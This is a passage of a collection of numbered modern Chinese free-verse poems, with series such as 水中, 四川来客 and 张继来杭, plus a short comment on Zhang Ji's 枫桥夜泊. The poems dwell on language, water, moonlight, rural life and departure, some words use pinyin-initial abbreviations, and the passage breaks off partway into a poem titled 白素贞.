言语倾斜的坡度， 离开与要辞别的人儿 是我，而我因此是需要 去做一个心意冷漠的人儿呵， 那条鱼，顺流而下，不能 再用尾巴来荡漾起 夜晚的水波，把语言明晰的 边界超越了。 它只能像我，或者就像我只能像它 两两相望，从不同的地方开始 不约而同最终，讨论到了 狭细，具体而真实的道德。 一条鱼儿，因此一个人对世界的 关心和爱护在我决定 让一条鱼儿衰老，自然的死亡中。 我于是记得了，最后一次， 它是鱼非鱼，鱼鳞尽数脱落， 眼睁睁的看着许多的鱼类被垂钓 沿着一条金色的丝线。 道德朦胧如同雾气， 我丝毫的感觉不到呵， 哪里有什么肃杀之意， 让我以旧日的道德之于个体的怜悯 让我以无知这种我之所新知道的 并为此，消耗，虚度，最后时光里面 沉默，两两相望者， 张继对于诗歌的反叛1301 张继对于诗歌的反叛:枫桥夜泊的本质是书生入戏，进而离诗去戏。 在诗人中张继第一个不知不觉中将诗歌隶属于戏曲何其隐秘的说了出来，并且在千年之后才被更多的揭露出来。 水中1302 《水中》 通过或者不的我的变幻了位置。 攀爬上木梯，试图去固定住 它的意义。转瞬即逝的风， 我看到了，我带回来了傍晚的落日， 和云彩。我想做一个改过自新的人 于是我寻找， 自己应该把所有的过错都归结在 一起了。放在某个橱子，某个角落。 寻找本身就是的这样一种看法 让枯燥和乏味阴魂不散， 让一个人以他的瘦弱作为了 生命不堪一击般的量尺， 是谁呢。我们理性偶尔被怜悯。 清晨的农夫会走向田野， 傍晚攀爬上没有了意义和风的屋顶 从田野取来的茅草让房间温暖起来 风带走了意义，空被人重复 有风的日子，也有太阳，有色彩 有一些不同， 水中二1303 《水中》 通过或者不，是通过之意。 这通过之意因为没有人， 如此漂白将鱼儿覆盖。 避免被垂钓，或者鱼儿裸身 下游的更深，只此一个词语。 曾经是树木，曾经于树枝所 雕琢而成的标志和提示上面。 直到我走了过来，花费良久。 称之为思而为了这一个时刻， 月亮的光辉照耀着，这上面 既于下的意思。它重复，它 舒展而重新的遇见了人们。 它遇见一个人，钓具主动遗失。 微弱反转就是尝试之意，除非 尝试还没有发出声音。除非 握得很紧直到握到，这的的确确 像语言的溪水顺着流淌下来。 走过颜色不一的天地，前面有一片 湖泊，人们去垂钓，在一个傍晚。 水中三1304 《水中三》 连方法自己也愿意于 可说上面，包括它不情愿的。 谁呢，要走得远 要让远去主动的发现自己 和自己在于远而矛盾的一切。 谁呢，他甚至自言自语，祈求和 恳切的语气，惟妙惟肖，我觉得 周围的空气与环境受到了一丝威胁。 那个声音原本只是简单和自然 它也不会在于一种虚拟于言语之说出 时候。所一同的发生犹如脱落和脱下 它，不是自然的守护者。 尽管一个声音的说出越来越因为 一个人而面临着重重困难。 犹如它的终点在天上，是月亮。 犹如人的言说有一个清晰而明确的 内容:月亮。 当时傍晚褪去，月升，乌啼。 也是一种语言，但被刻在了标y的墙壁上。 水中四1305 水中四 《水中四》 词越来越像失去了什么， 越来越压迫着而语言在 人的身体上面， 就以称之为人的方式诞生了。 在言说之中接受而称作了惩罚。 在于它的是否真正有效果。 它的还没有， 以指向过去在于脑海和心灵 两个神奇之地，。那未来以诸多的 形象更甚于我们最初所看到 所以为的。 而一切，并不超出未来本身， 而我们的话语的边界， 因此被两端都一一的设定。 因此我热爱一切隐隐而不明显的事情， 我甚至在于细微而甄于它们自身的伟大， 它们环顾那微小，否则语言中的无 我的言语也是不可能的。 水中五1306 《水中五》 他看，保持 这个姿势由此而来。 此二者，沉默的被讲述着。 它像我拿起了一个微小的事物时， 投下的影子。我在拿起它的时候 在我已因此而陷入，矛盾的漫长之中。 像一个徒劳无功的人。 它并没有在我的心中有任何的印象 反过来，这甚至是它面临的危机， 这危机以它作为一个词而在嘴唇里面的 说出。而一切看起来那么平常而又 自然。我乐于见到一种始终错误的情形 用言语来强调和表述，当那个被表述者 :错误与正确都偶有发生，难以预测 聆听着我的这一错误的看法是否 能够成为一种，以无动于衷所表示的 可能性呢，我这样来说出了“它” 使得它作为了一个词语。 水中六1307 《水中六》 一个简单的事物， 叫做惆怅。 它引动的声音微小。 而那些与此相关 和以与此相关所才成为了可能的 叫做了离开。所以 作为离开的这一个重复， 它牵连，藕断丝连。像一种 形态，形态的说出和表达， 就像完成。我意犹未尽， 问题仅剩下这是否是一个 真实的情绪，问题由此而生， 一个简单的事物并不简单， 我只是以简单来描述， 我也是它的伴生之物的时候。 水中七1308 《水中七》 如果一个夜晚悬挂在我的头顶，额头。 它已经从我曾经站立的地方离开了。 在河滩，没有人看着这一切。看着这 离开与抵达的密不可分，以及它实则为 幻象却因此不会被说出和表达。像本质， 因此本质被说了出来，也许会，也许不会 ，这空空的来临，一无所有，从云端坠落下来。 我的言语没有准备充分，我言说犹如复述一场 刚刚过去的事物，它像火情，有人受伤，离开 向我描述了那种特别感同身受的痛苦灼烧感。 我为双手放平寻找一个理由，保持舒展为什么 不是一个容易的事情，黑夜降临，什么也看不清 文字在自己书籍的屋子里面。穿过一个个世界 就是穿过一个又一个世界。 水中八1309 《水中八》 一个急切的人， 一个人心平复下来的黄昏。 同一个人，穿越它那 试图平复的。 像一个夜晚来临之后的 故事得以产生，正通过讲述， 也正通过人这个东西和事物。 人，好像一种添加。 人来了，人就成为了一个词语。 人带着耳朵来，坐在黄昏 院子里面的马扎上面，接着放下 与美的，愉悦有关的倾听。 像树木一样舒展，叶遮盖住了 人们没有随着根j上升的， 阴郁目光和回忆。人冒险一试 ————始终是阴郁的。 白天时通过阴郁般黑色雾气， 看到背面白光隐隐。 \/ 作为一同而在于诞生时候遗失 发生的意思，是什么？ 为什么像是一种自我质询， 渴盼，你也怀着一种怀疑。 水中九1310 《水中九》 源自我所爱的他——— 世界精简出了文字里面的异乡人 异乡便是缺失，缺失之地方。 像一个近距离而远，便语言的神秘， 喧嚣，但都不及于一个它团结的 使得我们垂头丧气的事实。 于是我重新的读它。我重新的 侥幸，成为我或者不，这否定的 隐秘的色彩的余晖，这一个异乡人 此刻，试图想起牢记的，头脑鼓胀 昏昏沉沉，世界面临危机，危机已经过去 话语重提，天气一下子有雨， 全都下在不缺少雨水的湖泊里面了。 \/ 想它，想一个人，想差异于 不同而对话的形式只是人与人。 不是么，三个字————这是他们的话语 只有这只言片语传了过来。 我该以如何的姿态和情绪呢， 我要应对一件偶然，和一件小事。 \/ 我想，就是想你。想 人与人之于后而你如此的羞涩。 \/ 华莱士史蒂文斯说， “源自我所爱的他”。 我将它揉碎了阅读和 阅读里面迟疑，和书写的形式。 纸是未来与此刻的燃烧之剩余。 \/ 精简才能够，才可以 才需要。话语充斥。 接下来了的以话语和诗歌来表示了。 事物通过语言的薄膜 以及透明的一层历经着的现代性改变 直到了现代和此刻的严丝合缝。 像那一团，雨。雨所表示的只是 它自己是一部分。便是语言。 便是我。我要说，谁又能平稳下来。 谁，都是急不可待。 谁都是守在果园里面的人，农民。 水中十一1311 《水中十一》 这里是哪里， 这里的月亮，星星， 这里的这个还没有被 它们烙印上名字的地方。 这里。回声本身吧。 它的同意于词于， 在于它们因为我而苦苦的寻找着 你。你也是你自己的回声。 在我用语言把词语说出来的时候。 一切的命运，形成了一个疑问中 关切的命运，像它本身并没有的， 主要是一个人类一样的身体，生命。 冷漠的脸庞是假装，是出来。 脸庞在身体更好的地方， 固定不动的方式，微微扭动的方式 走动着。我离开了那之于自己的 教条，我反驳它:问题的无力在于 一个词语一般说出时候所试图表达的 而提出的人儿呵，你明明如此年轻却 瞬间无力，更甚，增添了你满目的白霜 秋叶，荒凉公园，草地。 还是那始终的一个， 还是以爱来做的，这漫长人类史有关的 最后的爱的解决的方式呵。 谁都躲不过，伴随着谁又应该去躲呢。 谁呢，请给我一支船，我在你我之间 划动，赞颂那些溅起的浪花，想起 一些。 水中十1312 《水中十》 你很是清楚的记得昨天的， 像昨天的一个大月亮的你。 在昨天下午，不变的光芒 相比之下，与什么相比 而是暗淡的。暗淡的问题 因此随同着你。傍晚你明亮 今也多次的被与月亮相称的你 从沉默和寂寞、皎洁的历史， 飞鸟一般的到达了你。 直到你也到达了你自己， 另外的一种形式应该是美丽的。 孤独所代表，繁多的结伴同行之中。 在我猜疑，一个人离开的原因的时候， 水中十二1313 《水中十二》 有一段时间，它距离着的 是很近而近乎于是言语之中惊慌的意思。 在这些值得庆贺，感恩 言语已经如同一个平坦的道路。 即使我说出的完整的话语随风而逝，它的 这一些特点。 \/ 接着人也离开， 启示才是完整的。 两旁是入秋后的标志物， 灌木丛林，白桦，槐树和梧桐。 \/ 入夜会有虫类， 瞬息间另外的一个 叫做了乐园，而毫无 被挟c的含义。 \/ 而随着这人的不甘心而茫然的 目光，在这中冉冉升起之中。 也正是基于此，正如 基于其他的是我们多次尝试的失败的 时候。 水中十三1314 《水中十三》 一个事物在不远处的树下面 在于自身而命运的颠沛。 却在自身颠沛流转之时， 显得这么的难以令人理解 寒风刮着，枯萎的叶子掉下来。 \/ 我的哑嗓子，我的话语在 始终无法离开道理的遗憾上面。 我没有用言说来表达 用我来表示的大地的沉默。 仿佛并没有意识到存在。 那与一个人和人与一个人的亲近 那些是否正是了还没有变幻的词语。 只是我现在说出它，是很单纯的一件事。 \/ 随风而逝的叶子我能够看到， 建筑的明天正为我在自己的内心 以一种神秘声音的方式提供出了工作。 天色阴郁的棉衣，寒风依旧却拥有着 喉咙中呵气的差异。我能够见到 就像我可以推迟，我为此在灯下 写了一封信。我带着歉意却始终是 在自己的思绪之中走路，抵达那里。 同样是在愈加安静的叶子下面， 蚂蚁们，王国，蚁后穿戴火红色貂衣。 \/ 在天空的巨人下，世界舒展自己 从一种不可能式，话语重提的需要之中。 需要也漫溢。世界之歌，是构造之歌， 所有的建筑都是神奇的，承受冷风，冷雨。 水中十四1315 《水中十四》 他跑的比较远， 更远，过了远。 像远远的，远一个 远自身。跑进山中， 突然就撞碎药材了。 药香四溢，药材撞进 自己零碎一地的语言。 在语言的完整性上面猜测者 直到你自己也回忆， 有一道白色的身影， 与此无关，但又话不多 转过身，笑着离开，湖波荡漾。 水中十五1316 《水中十五》 用疑问来吧，延续你。 像百灵鸟与气候的结合 产生出来了的场景， 残缺却是全部的景色。 在徒劳的寻找之中重新的 点燃我们的热情，将我们知道的 在北风之中假装毫不知情。 \/ 树上一只鸟儿， 树下的人。 你坐在屋子里面， 向我询问着。杜撰 一个问题，我猜疑 同一个可以用问题来 表示。 \/ 这就是神秘的永久持续的 忍冬变幻序曲。歌唱一株 枯萎厌倦的树木 而我们从不是厌倦的人们。 我们在冬天歌唱， 我们从脱离而来 从而不脱离的坚决又虚假的意愿 来吧，来让事情反转。来让看 作为一种意愿。其中包括在干旱的 大地上面被洗涤的真实。 水中十六1317 《水中十六》 我祈求把镜子移开 卧室，房间美丽而温馨。 任何的事物都会有的 是那些反面如湖面一般的波动。 在语言里面，这是它纠结 矛盾，人心却充满了激动。 最好的日期:周末。星期天 土地舒展，院子里面传来了 农民砍柴，忙忙碌碌的声音。 我从床上起身，精神抖擞 陪我入睡，依然都在 话语重复它们，话语在嘴唇中。 有人，脚步更近，我看到了邻人 请带着沉默的话语转身走去， 沿着村庄的羊肠小路，你升起的 炊烟，白灰的色彩，我的眼中重复。 水中十七1318 《水中十七》 灯打开， 打开的不只是灯。 灯有一个照亮 星期五一般的边界。 \/ 我很多次路过， 穿着牛仔裤和羽绒 天气在衣服里面转冷， 向着同一个名字， 嘴边还没有冰霜。 \/ 呼出的热气， 怀有的人道关怀竟有如此的 遥远。有着遥不可及的危险 我走的小心，将时间占据 \/ 楼下路人走过， 楼上的灯向着攀登的更高 那一层，为这些包含着光的 黑a，包括那些我回到寓所 脱衣，仿佛也是为随后床铺上面 的回忆，思索。 水中十八1319 《水中十八》 黑夜，白天时。那黑夜的白 那统一的事物，具有着止步的意思。 而它的意思已经因此足够 开始羽翼丰满。对于一个人 而言，来说，当随后他也会 将人类试着以同样的方式提起。 恪职尽责者，不是将于d立之上 而我们仿佛是一头受了伤的雄鹿 在月光如银的树下舔舐着腿上的q伤。 那么具体，在语言中向着怀疑z义的论调 前进，带有些迷h和g惑人心的力量。 空无一物的w夫，面对着自己，正准备 最后把光秃秃的树枝，最后一根拆下来。 我的头脑已经如此的鼓胀，晕眩不肯 放过的真相，只是一个普普通通的农民。 在寒冬将至，在大地，在高歌者离去此处 土地难以察觉，它自我的难以察觉于遗漏 出来的土地。夜晚降临，无知，燥热和我 水中十九1320 《水中十九》 戈壁滩是什么， 像是了它已重新开始的 正冲着，对着 像重构而不是其他。 出自于自己才有的， 出自于一个矛盾人儿一般 它的。它自己恍然，也惊讶 如此广阔。像人类一直对 自己内在广阔的知道中 不知代表的只是微小的一片。 像用真实来作代表， 真实像在想象之中了， 以回声的方式存在 以依然没有结束的神秘的感觉 人，犹如行在戈壁滩上。 水中二十1321 《水中二十》 存在在一个人那里 像寓居是存在正在做改变。 有所行动但碰到了它 可以被理解的困难与阻碍， 当语言的形式也同样出现了拐弯 对此的描述在尽量详细之外， 仿佛确实有一条河，一座山。 这些坦然于实现的时刻 如果真实发生了，并不比此时更加的 鲜活和具体，而也不是我们惋惜于 它们纷纷的破碎，像是有一个寄存之地 事先于它们，直到我们真的弄懂了 那破碎的意义 水中二十一1322 《水中二十一》 提问的会持续的，这是问题所在。 白天，夜晚光亮的差异和不同， 它的那还没有由结束，经由了 它们，这二者是它:这同一的一个 延续。这黑夜所代表的是 白天当它去以自己去代表 便是了自己的意思。 这是以白所表示的夜， 这是前方的夜，覆盖了群山 唯一的自然于而然上事物的攀爬， 当我说出的时候，它们对于言语 的尽量的避开。 这是夜晚在于白天之上的渐进， 消耗着人类本就已经不多 而称作了消耗的精力。 在这样子一个时刻，我希望没有他人 在在这样被称之以精力的时刻 到来者即将面对它是否可以 到来的问题之真。 水中二十一1323 《水中二十一》 提问的会持续的，这是问题所在。 白天，夜晚光亮的差异和不同， 它的那还没有由结束，经由了 它们，这二者是它:这同一的一个 延续。这黑夜所代表的是 白天当它去以自己去代表 便是了自己的意思。 这是以白所表示的夜， 这是前方的夜，覆盖了群山 唯一的自然于而然上事物的攀爬， 当我说出的时候，它们对于言语 的尽量的避开。 这是夜晚在于白天之上的渐进， 消耗着人类本就已经不多 而称作了的精力。在极其而近乎于 寻找最后落脚之地，短暂在复现 我们的眼睛合二为一，又遥遥 彼此以语言来分离。那一声声呼唤 在对于它复述。这样子的一个时刻， 我的希望里面没有他人，空无一人。 在在这样被称之以精力的时刻 到来者即将面对它是否可以 到来的问题之真。那是一个厅堂和院落 在其最为被叙述所不发现的隐秘处， 当它避开了它们，冷漠，对于发现无动于衷 那些空空于人的再次的诞生， 像复述于人dz义，像别的的时候， 我们被美，且于夜间占据了。 水中二十二1324 《水中二十二》 到达于某而某个地方， 有树木、庭院、小河。 多出，我们变成了我 或者因此从这种善变的 牢固所得出的 使得我还是在于那困难上。 使得这折返于抵达的意义， 和道路以及行走。要素繁多， 几近于叫做言语的这种东西。 并期待，如果那些被期待物 还存在，以没有说出的形式。 我的正前方有一双经历了风， 干燥的嘴唇。在蓝色湖水边。 水中二十四1325 《水中二十四》 到达于某，而某个地方 语言首先到达了。 它说，或者它随后陷入了 我沉默的嘴唇之中。 它的回归，就像我离开了 因为必须要前往而意义丰满， 又看起来的此地的贫瘠。 此地荒凉，为秋冬之景。 远行者披上寒冷的白霜， 迈步，他被抛掷的远远的 他作为山川的影子，意义。 水中二十五1326 水中二十四 《水中二十五》 到达于某，而某个地方 语言首先到达了。 它说，或者它随后陷入了 我沉默的嘴唇之中。 它的回归，就像我离开了 因为必须要前往而意义丰满， 又看起来的此地的贫瘠。 此地荒凉，为秋冬之景。 披上寒冷的白霜因要远行 那些被冻结的语言和文字 在文字遥远的被塑造之外 就像它的尚且没有以完成的 方式，以其他的时候它已经从 这些失败之中放弃了。 荒原上面，或者仅此而已 或者人，呵，农妇，你始终怀抱着柴火。 四川来客一1327 《四川来客1》 一个男子，让语言有了唯一的作用。 让世界在三生万物，世界般解释里面 回声的充斥当中。让言语只能如此 便是一个男子。它匆匆划下的叫做 具有了同一属性的界线。我们要乐天知命 在不远处。一个男人不断的追忆着。 直到回忆此刻成真。像事物被反复摩擦，打磨 表面光滑，使得打磨的手不小心从表面滑落。 打磨的要义和要义，在手可以回到被打磨， 物体的表面依然光滑，心灵犹豫，分不清。 四川来客二1328 《四川来客二》 一座远处的公园，我表达它是我想要去那里。 对于我而言，它没有名字，形象。得以由此的， 是诞生方式上面的神秘莫测，悄然和寂静。 这几乎意味着它随时随地在瞬息于熄灭间， 那相似于成功实则为毁灭的事物，公园荒废了。 废料的收集和填埋的场所，有一天，我穿着褐色 衣服，开着兜车，巨大的漏斗将楼宇灰尘倾泻。 或许对于望见了的更多而使得了人们应该于 贫困群做的限制里面满足，屈服。那些劳碌 即使并不能使得人们看到了大地，而看由此诞生。 为农民而生的这些事物，对于他们自身而言 缭绕的这些劳作者所以为是形成了暗紫色的光泽 像迟疑于自身所需要的，是一个人类。而在于 他的那遥远，那时候华灯初上，建筑物有着结实的 外表。 四川来客三1329 《四川来客三》 我们， 是原因也是结果。 但不能同时是二者， 是二者是某上的理想之一 作为一个谜团与历s搏斗。 是你所拥有于失去的 因我没有丝毫的感受，察觉。 在我搜身于自己时，衣裳单薄。 初冬的凌冽，从早晨最先开始。 最先的结束上青草枯萎 没有伟大的太阳光就等同 差一点就是了伟大逻辑在 声音里面的无。 所以，我不仅仅见到了你 用一副在你看来睁大的双眼。 我的鼻孔冒着热气， 语言的煎熬自此刻开始， 才真正的接受我所信f的检验。 我通过对话，畅想了退路。 没有你，你已经越来越像是 傍晚的的一次辞别。 你将转入夜晚的铁石心肠， 同一场轮回里面哀歌的热情， 它修饰自己，就像是我们。 我的眼睛因此落向的本质 在自我感知的空虚里面转告于你。 四川来客四1330 《四川来客四》 话语未尽的感觉， 是语言自己的感受。 一个人被话语的表述之中 活着，或者围拢着，笼罩着。 我追逐一个像是人类中的被寻找者， 他脱离，因而回到了人类之中 在暗夜，月落乌啼，船只寂静。 这一切还没有完成， 因此停留在了发生的乐观估计 和跃跃欲试。以及一次次半途而废。 那是言说的模样， 在模样中深入，更为具体的 呈现为了一种矛盾， 当它想要将此来说出时。 张继来杭一1331 张继来杭一 《张继来杭一》 那一年，那代表我年龄的一年。 那淹没了我此时此刻的话语的 言说，像一个人正在水面溺沉。 我动身离开了村镇，来到这里。 我曾经对于言说百思不得解于， 是它终其一生都将如此的本质。 野鸭子和更远北方的白露，洁白 翅膀合拢，在水面上漂浮，游荡。 入冬的芦苇成了它们暂时的住所。 我曾经在岸上多次踱步寻找，来回 试图看清楚这些迅捷而羞涩的动物。 存在于没有之中的这一些，以更多的 意象的方式是否也会重新的呈现出来。 以叫做了它们的方式，在我放松时候。 这是一个极其不确定的时刻，下午或者 傍晚。水面摇晃着不同的色彩，并不总是 以灰色和湛蓝为主。也不是以语言之中 所可以去代表，那些主题被推身于言语之外 像过去发生过的事情，但谢这种莫名熟悉感 因为与眼前物不相符的错误而同样令人纠结。 张继来杭二1332 《张继来杭二》 同样的就是不断的发生。 瞧瞧，并且以看的方式。 而不是对于敬意没有回应做出。 我不会是那一个在否定和 相反的意思上走的很远的人。 生活普照，阳光透过缝隙洒落。 为大地的光亮如同一支哀歌， 而在于它每每以至于的时刻 短暂之中的永恒，才具有了。 请对于它们保持沉默的敬意， 并且说出，偶尔化身神秘。 请更加，如同一种详细，具体。 在听与说之中不可分离， 在充满了诱惑的繁多之中， 我是到来，奔波而饥肠辘辘者。 张继来杭三1333 《张继来杭三》 我在草丛之青的文字 被大自然分解里面嗅。 一个人，得以保全于自身。 他曾经唾弃和轻视，那些 是称之为物的时刻。 那些日子甚至走的悄无声息 如同依然还是由来于我们来做主。 与我们的入睡相互呼应， 却只是作为模糊不清的树木。 通过跟睡眠的相似，群居的模样 在河畔，同时将河畔包含。 我不是，我不是。通过否定的方式 可以像一个拥有羊群的农夫。 像他的一生，从羊群的不多到不多。 仅有的重复把幻梦一次次， 在现实和言语里面重演。 我以极其的短暂来制造了呼喊， 我让一个农夫可以冲着山脚下的河流 回应，而找到他简陋的居所。 我像月亮一样，拥有着并且重演。 像升起的实则是洁白的母羊，受孕 而被月色重新的抛下，遗弃在大地之间。 我模糊分辨，那认得大地沟壑起伏之徒。 在颠沛流离和鸡鸣狗盗中葬送了一生者。 我是凌乱的人而大地的荒草枯萎， 为一个人所进行的哀悼如此隐秘。 在于悄无声息，这返回情形的称谓。 我努力的回忆于此，在将此弄作 就是全部意义的生命。当在此 差一点又将打破于它们的时候。 四川来客五1334 《四川来客五》 拨动，来者就像 春水和秋天被一扇门给阻拦。 像一个拥有池塘的院子， 就是秋天并不计较藏身于 隐秘的全部。也不是人在话语 于重提秋色的简单， 当眼前的情景 很容易制造语言表述上面的错误。 那些追逐着人类的语言， 仿佛在此时一刻也不愿意放过 有罪的我们。听听， 有什么不同被念了出来， 我们随后沉默的撩开门帘， 叶子正从树上落下， 随后会漂浮在池塘平静的水面。 张继来杭六1335 《张继来杭六》 口吻变了，坚决的语气在自己体内 试着一层层台阶的走下来，走回。 我并不担忧，陌生的事物正变得陌生 烟云雨雾正把一个位置慢慢的笼罩。 \/ 而事物要么完好如初，要么大病初愈。 或者一切还没发生，但人怀疑的嘴唇 却在念出语言的与此有关时候，是困难的。 \/ 这就是语言本身，这困难性的差别就是 在被念出之时的更加的相同:困难性。 在你我之间游走，亲吻我们的身体， 我们头发黑黑的，，手指头修长纤细。 \/ 我要用拿来主义来表达原处， 当它因为始终都要褪去而披上的神秘面纱。 比如我在天一亮就看到的， 或者从早到晚，包括了你在内 形成一个密切关乎在于眼皮的开阖。 意义是黑色的，那事物琐碎如同它自身 碎片的掉落也没有关系。在无伤大雅 里面行走，言说更多的语言，使得言说 更多而有着人类丰盈它们的企图。 也是可以的。我被允诺，我知道。我的 理解表面而肤浅我也没有深刻的打算， 我知道。人在早晨穿上了黑色的上衣， 雨下了起来，天气预报是思想，来自于 情绪。人在雨水中中穿行，体验，在休息日 把想要进入雨水内部的想法来淋漓尽致的体验。 张继来杭五1336 《张继来杭五》 把它们说出来， 即使你什么也没有说出。 语言本身就是一个鸠巢 我指的是那些因为我们离开 而在于此，才在桦树林和云杉， 槐树丛林中的建立。 为这些破坏与简陋在于分摊 和甄别的行走，而行走，其本身 却又是不同的。 这呈现在言语这一面镜子， 像表面波光琳琳的湖水 曾经试图将一切纠正过一次， 因为不能，而原因于与语言的 密切的关系而跌落到了大地， 我们所路过的地方。 四川来客六1337 《四川来客六》 在繁多里面， 总会形成一个故事。 随着自然，之后那故事也随着 自然。我也热爱自然。 \/ 存在，你神奇而伟大的由来 :总可以成为你，你去做，如荡碧波 丰富，什么？丰盈，什么？呵，丰盈。 相比于此那自身贫瘠而孤独的你， 在多与少之间慢慢的成为了故事 厌倦者的，你。 \/ 忽z忽y的，回忆吧，你。 忽而极y，以那z的方式 忽而z，怎你是个迟疑的人儿 你将我裸露出来。 \/ 这衣裳十文九钱， 这个人一直摸索， 直到在精疲力尽的尽头 确有一抹微光 ————当思虑性质的 它那否定的难以避免，哲学。 建立了起来，悄无声息。 当你这个身体麻木的它的基底， 目光转动，如此清澈。 当我，十文九钱者，触摸不到的 你的那自身 \/ ————我也如此的称呼时。 张继来杭六1338 《张继来杭六》 我转身，如果不够 就调头，头扭过来。 \/ 观察我的看， 我的说， 我表达的语言。 \/ 那些在说出之中， 一开始那些始料未及的。 像我并不是一个人， 我从众人之中辞别，离开。 \/ 在月光照耀的荒野， 道路被杂草覆盖。 入冬的月色像早晨的白霜， 气候的冷冽开始恒定。 \/ 这些在自我身体上面的发生， 从最初的明显转入了隐性。 难以察觉，与入梦是平行 又以道路的称呼来自于矛盾。 \/ 在自我这个身体上面， 我忍受着寒冷，尝试 推卸掉离自己而去的，徒劳言辞。 \/ 它本应是一首极其短的小诗 除非一个大千世界藏在一片 被我发现的枯叶之中。 四川来客七1339 四川来客七 《四川来客七》 我离山很近，便有所忽视于 远迟迟说出的没有。 我凭借着对于你的想念， 就像你对于我语言的期待一般。 我会去到的无人山谷，鸟儿轻鸣。 水中和树上，全是有关于你的回声。 当我离开，对于被发觉，足够的准备 已经差不多还差最后的一笔。 因为对于随时随地的可以结束， 不是在这语言的山谷。时间流逝成了 岁月，被人类持守。你成了劳作的农夫 我下山时再次遇见你。 四川来客八1340 《四川来客八》 秋水不满， 是那种满的倾向让它不满。 但你还移步款款的， 在我将一切告诉了你以后。 谁也不能准确的说出一个 与你有关的事物， 谁又不能说，春花秋月是女人 令人迷恋的胸和臀部， 世间万物的这些相同的归宿， 除非它们从那里由来。 如今你因为此，以及因为语言 还能剩下些什么。 谁又能理解一个抱紧了生命之青春 的美丽的女子。移步款款 众人的目光闪烁。 推开了阁楼后面小院的木门， 那里有一个池塘， 月下的明月未到圆满， 天地于池塘组合的错误拼凑， 加入了你这样一个痴情的女子时。 张继来杭七1341 《张继来杭七》 月亮下面的明月。 那另一轮，那暗示了湖面的一个。 张继来杭八1342 《张继来杭八》 人会有语言的z过， 未来也因此有可能 被天空中因为密密麻麻 而依然意义于的稀少所填满。 这是一个慢的过程， 因此才留给了我们说 和通过说而把一个我来寻找的时间。 如果，我拿这些时间来归田， 制造中的建筑工程让园居的假象 成真。我慢慢的随岁月衰老，却 不去任何的地方，我的任务就是 敲打和抗议，在无效里面， 有效的有意义的时间被斧头，铁锨， 锄头，和独轮车所占据。 \/ 在于我既首先的， 经过了我就是经过了我 同一的如同睡眠一般。 人类的之于我，或者只是 去刻画一张木床，叫做了简单 而同时同地的让它们同时映现。 \/ 前胸贴后背，但我们的词语 却有着过去与现在接着城市与乡村的道德差异。 是否你的骨骼也会叮咚清脆， 编制一个群山凹陷一般沉闷而又谎言的寂寞呢。 你要借着我的嘴唇， 就像我要借着一条总不能 在愿意里面河流宿命里面， 小溪流淌的欢快的界限。 \/ 日子一天天过去，是隶属于说。 往后去，则越来越真实于 它自我的悲伤在流逝的上一刻。 现在，多么的团结的 是，田野和菜地，池塘和陌生的异乡，是的。 \/ 梦想的本质是一个接一个的梦想 梦想本应的不在，在的它之后在 言语中变幻。脏兮兮，窗玻璃 反光，需要经过一层层的复杂路径。 梦想着什么？它们曾沿着星辰前进， 遇到我居住的群山时正开始准备上升。 但它们被言语的突然出现所击溃， 语言充满迷惑性的发言又蛊惑住了它们。 \/ 窗玻璃上的事物， 地上的菜地， 菜农把手伸出， 以及我寄给你的一封回信 都是一样东西。 \/ 语言是否有罪很危险， 你大胆的如同天空一般的假设 那么你是怎么度过天黑的。 四川来客九1343 四川来客九 《四川来客九》 我一想我想的时候同时有 很多的事物也在思考， 在思考这个东西的两旁 这是什么样的景象。 \/ 一想，一忘。 也都只是的是它们，另外 一个名字的因此广阔。 表示了想的假象， 正用这个名字在叫我。 \/ 让我看一看， 门窗，是铝合金的框和保护栏。 高高砖混水泥的围墙，在不远处 最晚一个出逃的爬山虎 覆盖在了它前辈们枯萎的尸上。 \/ 就是诗歌，我总结说。 就是回应，当回应也被丢弃在水坑。 四下无人，人人都面对睡眠的墙。 翻身上墙的月亮抬高了一些事物， 我叫不来，那是什么 那代表着结束或者道德， 以及怜悯，它们否定的一面。 张继来杭十1344 《张继来杭十》 这长长者，什么时候会轮到我。 也就不会轮到我的轮到我了。 我说的是我。无论在前 还是后面，我都是同一个。 但因为一个重复是需要的， 重复慢慢成为了需要必要的 一种:请出示，我是我。 \/ 人群之中没有人临阵脱t， 我低着头，如果有也没有注意到 对传统的否定和逆反。 在我前面者，衣着朴素 轻轻的颤抖来自于轻微扭动。 这加深了的此处的意义， 这在于前方浮现的仿佛自我的意义。 我是栅栏，是序列，导致井然有序的结果。 \/ 而这正是我要被考c的东西。 这使得我前面的那个人得出了 与我相反的结果。借此我判断出， 我的头颅因此确实是低了很久。 困、累、乏了、无精打采。 心灵鸡汤、天空蔚蓝、高音喇叭、 一样东西。直到离开了那地方 赶快离开那地方。 头脑昏沉，想要躺在了床铺上 我因此往前又迈出了关键性的一步。 张继来杭十一1345 《张继来杭十一》 所有对的会再次的对。 因为人，便因为我。 人在这个纷繁复杂的世界里面， 再往里就感到了已经发生的“拥挤”产生了。 所以，人呼吸，大口小口，小口 代表着大口，大口作为一次次的失败 又尝试了一次。那言语在微弱的呼吸， 和平静的呼吸里面说出了“人”和“我”出来。 不如说出一个假象， 不如说出本身就是个假象。 不如说给慈悲的人听听， 他在世界的尽头建筑庙宇。 庙宇残破之后，他在世界最高， 也最荫绿的山顶上面，建筑 庙宇。心情却已经变得矛盾重重。 所以，我们来的不是时候。 所以，你说你带上了我 才会被拒绝了一般的 来的不时候。但是我觉得 我们的返回就是到达。 我们诚实的少的可怜，那么 就可以在说中把你当做了 诚实的基点和底线。我们累了就不走， 我们到达又回来了，语言开始显得多余。 我们对了又对，离开了的那个 被准确的叫做了离我们更远的错误了。 我们因此以此为基础， 就是可以以任何物为基础，以 此刻和言语为基础，以无形的石阶 为基础，和基础的变得坚硬，牢靠。 重新学习一种熟悉的语言的时候， 抛弃了技巧，树枝掉了下来，掉在了火堆里面。 白素贞一1346 《白素贞一》 两个四川人 杀鱼的方式很特别。 两个四川人多次的 钻入鱼腹当中，接着又重新 回到的，却是人群。人群指指点点 \/ 因他们自己，而循环往复的 历史充满了之于人的m名呵。 \/ 直到有一天，有人告诉他们 或者他们无意之中听说了。 遥远的东边，江南省的一个湖里面 生活着一群特别的鱼儿。 可以让他们重新的像大家一样， 拂案磨刀，清洗和破腹， 沿街吆喝，重新的融入伟大的生活。 \/ 在类似于姻缘所诞生， 造纸术和印刷术，书写，紧密关系的 一路前进当中需要姻缘， 但姻缘的需要却可遇不可求， 中间难以避免的空挡充满了苦难。 人儿有时候变得特别，被两旁 事先变成了文字史的人们辱m 有时候，这文字停顿像山川湖泊 两条鱼也听过了他们， 